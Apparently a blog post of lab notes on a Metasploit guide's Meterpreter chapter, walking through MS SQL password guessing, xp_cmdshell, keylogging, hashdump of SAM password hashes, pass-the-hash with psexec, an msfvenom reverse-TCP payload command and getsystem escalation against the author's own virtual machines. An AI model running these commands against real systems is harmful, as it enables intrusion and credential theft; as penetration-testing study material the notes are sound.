metasploit渗透测试指南--第六章--meterpreter--学习笔记

从之前的学习明白了一件事情就是,渗透攻击的本质是识别并充分利用目标系统中存在的安全漏洞。
本章学习meterpreter,通常作为攻击载荷使用,来提升后渗透攻击阶段的能力。
使用meterpreter的前提,触发漏洞并选择meterpreter作为攻击载荷并返回一个meterpreter shell
1.攻陷Windows XP虚拟机:
输入:
nmap -sT -A -P0 192.168.229.150
在这里插入图片描述
可以看到红线部分的一些开放的端口。
1433MySQL这个端口易受攻击,实现完全入侵并且得到管理员权限。

首先:确认确实安装了ms sql。(此处暗含一个思考,想要针对某一个端口的服务进行渗透攻击,要明确他的版本信息,他的不同版本间的差别,已经出现的没有打补丁的漏洞。)
尝试对ms sql进行暴力破解来获取密码,ms sql默认安装在TCP1433和UDP1434端口。新版本的ms sql允许安装到随机动态分配的TCP端口,可以通过没有变化的UDP端口来查询SQL服务的TCP动态端口。扫描目标系统UDP1434端口。
输入:nmap -sU 192.168.229.150 -p1434
在这里插入图片描述
-sU:UDP服务扫描
-p:扫描某个端口

可以看到:UDP1434是开放的,并且ms-sql运行。

接下来:找出ms sql服务端口,并进行用户名和口令的猜解。

使用mssql_ping模块来找出MS SQL服务端口:
输入:use auxiliary/scanner/mssql/mssql_ping
在这里插入图片描述
从结果来看,我们可以知道,服务器安装的IP地址,服务器的名称,服务器的版本号,监听的端口。

对ms sql进行暴力破解。
输入:use auxiliary/scanner/mssql/mssql_login
在这里插入图片描述
设置好相应参数,从结果看出正确的密码是password123

xp_cmdshell:
以sa管理员账户权限运行ms sql时,我们可以执行xp_cmdshell存储过程,该存储过程允许我们直接与底层操作系统进行交互并执行命令。xp-cmdshell是SQL server中默认装载的内建存储程序,我们可以通过ms sql调用xp_cmdshell直接来执行操作系统命令,可以将其理解成一个可以执行人以命令的操作系统超级用户命令行。而ms sql服务一般是一system级别权限运行的,所以一旦获得sa用户,就可以同时以管理员水嫩分来访问ms sql和底层操作系统。
为了在系统中注入攻击载荷,我们需要和xp_cmdshell进行交互,添加本地管理员,并通过一个可执行文件来植入攻击载荷。

回顾:先是mssql_ping模块找到MS SQL服务,并使用mssql_login模块猜解出MS SQL的sa口令,最后使用mssql_payload模块与MS SQL交互并上传meterpreter shell,实现了完整的入侵过程。

入侵系统成功之后并获得系统的meterpreter会话之后,搜集更多地信息:
(声明,按照书中的步骤这个实验做不了,因为我的是中文版的XP,我生成了一个攻击载荷,换了一台Windows10机器。都一样因为我们最终的目的是得到meterpreter的权限)
执行screenshot获取目标的桌面截屏,并保存到下面的路径中。
在这里插入图片描述

截屏有时候可以看到很多有用的信息,如果看到杀毒软件,就要规避了。

执行sysinfo获得系统运行的平台
在这里插入图片描述
可以根据得到的信息,找到已经存在的漏洞,直接利用。

执行ps获取目标系统正在运行的进程
在这里插入图片描述
接下来找到我们的恶意进程,shell.exe(自己创建的,原因在前面说了)
因为是实验快点找,打开主机的任务管理器。
在这里插入图片描述
在这里插入图片描述

按类型分组,找到S开头的程序。
右键转到详细信息:
在这里插入图片描述
在这里插入图片描述
查看PID的值 10104
回到kali虚拟机:
在这里插入图片描述
查询成功!

执行migrate 10104,将会话迁移至shell.exe中(这个对话的迁移,要迁移到权限搞得EXE进程,不要随便弄一个,我这个有点随意,而且会话已经在这个进程中,毕竟是自己的主机。)
在这里插入图片描述

执行use post/windows/capture/keylog_recorder使用该模块进行键盘记录
在这里插入图片描述
可以看到,键盘记录保存的位置。看到用户名,密码之类的东西。

到该路径下查看就好了。

2.挖掘用户名和密码:
前面我们通过成功攻陷目标主机得到meterpreter会话后,进行的一次键盘记录用户名和密码。下面直接使用meterpreter获取系统本地文件中的用户名和密码哈希值。

使用meterpreter中的hashdump输入模块,来提取系统的用户名和密码哈希值。

背景知识:Windows系统存储哈希值的方式一般是LAN Manager(LM),NT LAN Manager(NTLM),NT LAN Manager2(NTLM2)。在LM存储方式中,当用户首次输入密码或更改密码的时候,密码被转换为哈希值。由于哈希值的长度的限制,将密码分为7个字符一组的哈希值。以password123456为例,passwor一组,d12456一组,哈希值以这种方式存储。攻击者只需要简单地破解7个字符一组的密码,而不是原始的14个字符。但是NTLM的存储方式跟密码的长度无关,password123456作为整体转换为哈希值存储。

输入:use priv运行在特权账号上
输入:use post/windows/gather/hashdump
(因为我的靶机没有密码,所以出现了下面的画面)
在这里插入图片描述
设置密码之后的样子:密码:abcdefghijklmn
在这里插入图片描述
修改密码小于14位:密码:abcdefg
在这里插入图片描述
修改密码大于14位:密码:abcdefghijklmnopqrst
在这里插入图片描述
获取安全账号管理器(SAM)数据库,我们需要运行在SYSTEM权限下,以绕过注册表的限制,获取受保护的存有Windows用户和密码的SAM存储。
图片中出现了以aad3b435开头的哈希值是一个空的或者不存在的哈希值–空字符串的占位符。密码长度大于14位的实验,不是以LN的形式存储的,所以存储为aad3b435空密码。
Administrator:500:LM哈希值:NTLM哈希值::

得到了管理员密码对应的hash值。接下里进行hash值的传递:
(仅仅有密码的hash值就够了,不需要明文密码。)
我们的目标是获得管理员权限,在大型网络中管理员账号密码一样就可以实现从一个节点到另一个节点的攻击

输入:
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
设置相关参数,这样就获得了管理员权限

权限提升:
获得了目标系统的访问权限,可以通过创建权限受限的新用户,达到权限提升的目的。

第一步:
在WindowsXP终端中输入:**net bob password /add **创建受限账户
第二部:
在msf终端,创建攻击载荷程序:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.229.129 lport=443 -f exe -o payload.exe
攻击载荷会生成在你当前的目录下,去查看就好。

在msf终端,执行渗透代码。:
在这里插入图片描述
补充:如何在WindowsXP中用新创建的用户来运行程序。
右击我的电脑->管理->本地用户和组->用户->隶属于->添加->高级->查找->选择你想要添加的

准备好以后:右击payload,运行方式,下列用户,解决。

前面的尊卑工作做好,先在kali中执行,exploit启动监听,再在Windows中运行payload.exe
输入:shell进入WindowsXP终端
在这里插入图片描述

输入:**echo %username%**查看当前用户名
在这里插入图片描述
输入:net user bob查看Bob用户的信息
在这里插入图片描述
在这个受限的用户环境下,我们的攻击范围受限,不能进行特定类型的攻击,比如无法提取SAM数据库获得用户和密码哈希值。
在meterpreter控制台输入:
use priv
run post/windows/gather/hashdump,无法提取用户名和密码的哈希值
在这里插入图片描述
获取管理员权限或SYSTEM权限:
在这里插入图片描述
输入:
use priv加载priv扩展,以便访问某些特权模块。
getsystem尝试将权限提升到本地系统或管理员权限
getuid检查获取的权限等级 NT AUTHORITY\SYSTEM,意味着我们获得了管理员的权限。
再进行提取SAM数据库获得用户名和密码的哈希值就可以了。

令牌假冒:
获取目标系统中的一个Kerberos令牌,将其用在身份认证环节,来假冒当初创建这个令牌的用户。(这个方法是在成功入侵了目标系统并建立了一个meterpreter的终端之后使用的,并且需要域管理员用户在13小时以内登陆过这台机器 。这样不需要破解密码就可以获得系统的访问权限。)

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值